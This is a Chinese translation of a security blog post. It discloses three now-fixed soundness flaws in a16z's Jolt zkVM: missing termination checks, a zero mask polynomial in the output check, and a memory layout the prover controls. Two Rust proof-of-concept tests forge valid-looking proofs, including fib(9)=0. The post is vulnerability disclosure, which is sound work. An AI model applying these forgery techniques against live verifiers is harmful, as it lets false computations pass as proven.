zkSecurity 团队与 a16z 合作,对 Jolt zkVM 进行了深入研究,发现了多个严重的安全漏洞,如执行跟踪验证、输出检查和内存布局约束等方面的问题。这些漏洞可能允许恶意证明者绕过验证。Jolt 团队已经修复了这些问题, 并通过这次合作显示了对 zkVM 进行安全审计的重要性。
在过去的几周里,zkSecurity 深入研究了 a16z 的 Jolt zkVM。这次与 a16z 的合作旨在帮助加强他们的零知识 (ZK) 堆栈的安全性。Jolt 的 zkVM 有望成为 zk 领域的关键参与者,而像这样的安全工作对于确保它能够兑现其承诺至关重要。
通过这次审查,我们发现了一些重大的错误。这些问题可能允许恶意 Prover 轻松伪造证明,从而带来严重的风险。虽然这不是正式的审计,但它证明了人工检查在发现关键漏洞方面的价值。
zkVM(零知识虚拟机)使用零知识证明来证明和验证特定 ISA(指令集架构)中的计算。Jolt 由 a16z 开发,是一种专为 RISC-V 架构设计的 zkVM。它使以 Rust、C 和 C++ 等高级语言编写的程序(编译为 RISC-V 汇编)能够由不受信任的 Prover 有效地证明,并由任何人简洁地验证。
为了证明一个程序,Jolt 首先将该程序编译成 RISC-V 汇编二进制文件,并执行该二进制文件以获得执行跟踪。然后,主要工作是证明执行跟踪有效。从高层次来看,该证明涉及三个部分:
指令查找是 Jolt 的独特之处(Jolt 代表“仅一次查找”)。与其他依赖于每个指令的自定义约束的 zkVM 不同,Jolt 对所有指令执行使用 Lasso 查找 技术。这种方法不仅提高了 Prover 的效率,而且显着降低了系统的复杂性。因此,Jolt 提供了更好的可审计性和可扩展性,使其更易于维护和扩展。有关更多详细信息,我们将发表一篇关于 Jolt 如何工作的博文。请继续关注更新!
我们的审查发现了 Jolt zkVM 实现中的几个关键安全缺陷。
Jolt 验证器基本上是在检查提取-解码-执行周期中每个步骤的正确性。如果执行跟踪中的每个步骤都正确,则整个计算被认为是有效的。但是,验证器不检查执行是否最终终止。因此,如果有效的执行跟踪在完成之前被截断,则验证器将验证各个步骤,并且仍然认为该跟踪有效,即使计算不完整也是如此。在这种情况下,输出将不正确,因为包含最终输出的内存可能尚未写入。此漏洞允许 Prover 使用截断的跟踪和不正确的输出伪造证明。
为了利用这个错误,我们可以截断一个有效的跟踪并将输出设置为 0,并且该证明仍然被认为是有效的。下面的示例为 fib(9) = 0
创建了一个伪造的证明:
fn fib_e2e<F: JoltField, PCS: CommitmentScheme<Field = F>>() {
let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
let mut program = host::Program::new("fibonacci-guest");
program.set_input(&9u32);
let (bytecode, memory_init) = program.decode();
let (mut io_device, mut trace) = program.trace();
println!("origin trace length {}", trace.len());
trace.truncate(100); // 截断跟踪
println!("truncated trace length {}", trace.len());
io_device.outputs[0] = 0; // 将输出更改为 0
drop(artifact_guard);
let preprocessing =
RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
let (proof, commitments, debug_info) =
<RV32IJoltVM as Jolt<F, PCS, C, M>>::prove(io_device, trace, preprocessing.clone());
let verification_result =
RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
assert!(
verification_result.is_ok(),
"Verification failed with error: {:?}",
verification_result.err()
);
}
jolt 团队已经通过提供终止位 修复了这个问题。成功终止的程序会将终止位设置为 1。验证器现在将始终检查程序是否终止或发生 panic。
Jolt 验证器的一个关键部分是检查声称的程序输出是否与执行输出一致。Jolt 使用 OutputSumcheckProof
组件来实现这一点。它检查输出数据是否等于特定地址的最终内存值。
为此,Jolt 引入了一个“掩码”多项式 mask_poly
,它在输入/输出的地址处评估为 1
,在其他地方评估为 0
。然后,它检查 mask_poly * (final_memory_value_poly - input_output_value_poly) = 0
。但是,由于疏忽,mask_poly
被错误地构造为一个零多项式。这会导致任意的 input_output_value_poly
通过检查。这意味着输出检查不起作用,并且任意输出都将通过检查。
此外,我们在验证器中发现 mask_poly
和 input_output_value_poly
被评估为不正确的值。由于第一个错误,此错误未在测试中被发现。
我们的 pull request 已被合并以修复此问题。
为了执行离线内存检查,Jolt 将寄存器、程序 I/O 和 RAM 视为映射到 memory_layout
中的单个地址空间。此内存布局的结构是固定的,但程序 I/O 和 RAM 的大小可能因程序而异。
由于内存布局只需要构建一次,因此验证器可以将其视为预处理材料。但是,先前的实现将内存布局作为证明的一部分。这样,它允许恶意 Prover 能够随意设置内存地址。
为了利用这个错误,Prover 可以设置终止位和输出的内存地址以匹配输入的地址。这确保了这些值将始终反映输入,而输入在 Prover 的控制之下,同时仍保持有效的证明:
fn forge_memory_layout() {
let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
let mut program = host::Program::new("fibonacci-guest");
program.set_input(&[1u8]);
let (bytecode, memory_init) = program.decode();
let (mut io_device, mut trace) = program.trace();
// trace 需要被截断
// 以确保我们的输出不会被程序覆盖
trace.truncate(100);
// 输入的第一个索引需要是 1
// 以使终止位等于 true
// 由于第一个错误的修复
io_device.inputs = (&[1, 3, 3, 7]).to_vec();
// 将输出更改为与输入相同
io_device.outputs = (&[1, 3, 3, 7]).to_vec();
drop(artifact_guard);
// 将输出和终止位的内存地址更改为与输入相同的地址
io_device.memory_layout.output_start = io_device.memory_layout.input_start;
io_device.memory_layout.output_end = io_device.memory_layout.input_end;
io_device.memory_layout.termination = io_device.memory_layout.input_start;
let preprocessing =
RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
let (proof, commitments, debug_info) = <RV32IJoltVM as Jolt<
Fr,
HyperKZG<Bn254, KeccakTranscript>,
C,
M,
KeccakTranscript,
>>::prove(
io_device, trace, preprocessing.clone()
);
let verification_result =
RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
assert!(
verification_result.is_ok(),
"Verification failed with error: {:?}",
verification_result.err()
);
}
此外,Prover 还可以修改 panic 位,以将发生 panic 的程序伪造为未发生 panic 的程序。
jolt 团队通过将 memory_layout
移动到预处理材料中 修复了这个问题,确保它独立于 Prover 的输入。
这次与 Jolt 团队的合作发现了 Jolt zkVM 中的几个关键漏洞,例如执行跟踪验证、输出检查和内存布局约束方面的问题。这些错误现在已修复,可能允许恶意 Prover 绕过验证。
这项工作突出了审计在 zkVM 中的重要性,在 zkVM 中,深层技术堆栈可能会掩盖关键问题。随着 zkVM 技术的不断发展,我们将继续检查 Jolt 和 zkVM 的安全性,分享见解以帮助加强这些创新系统。
- 原文链接: blog.zksecurity.xyz/post...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!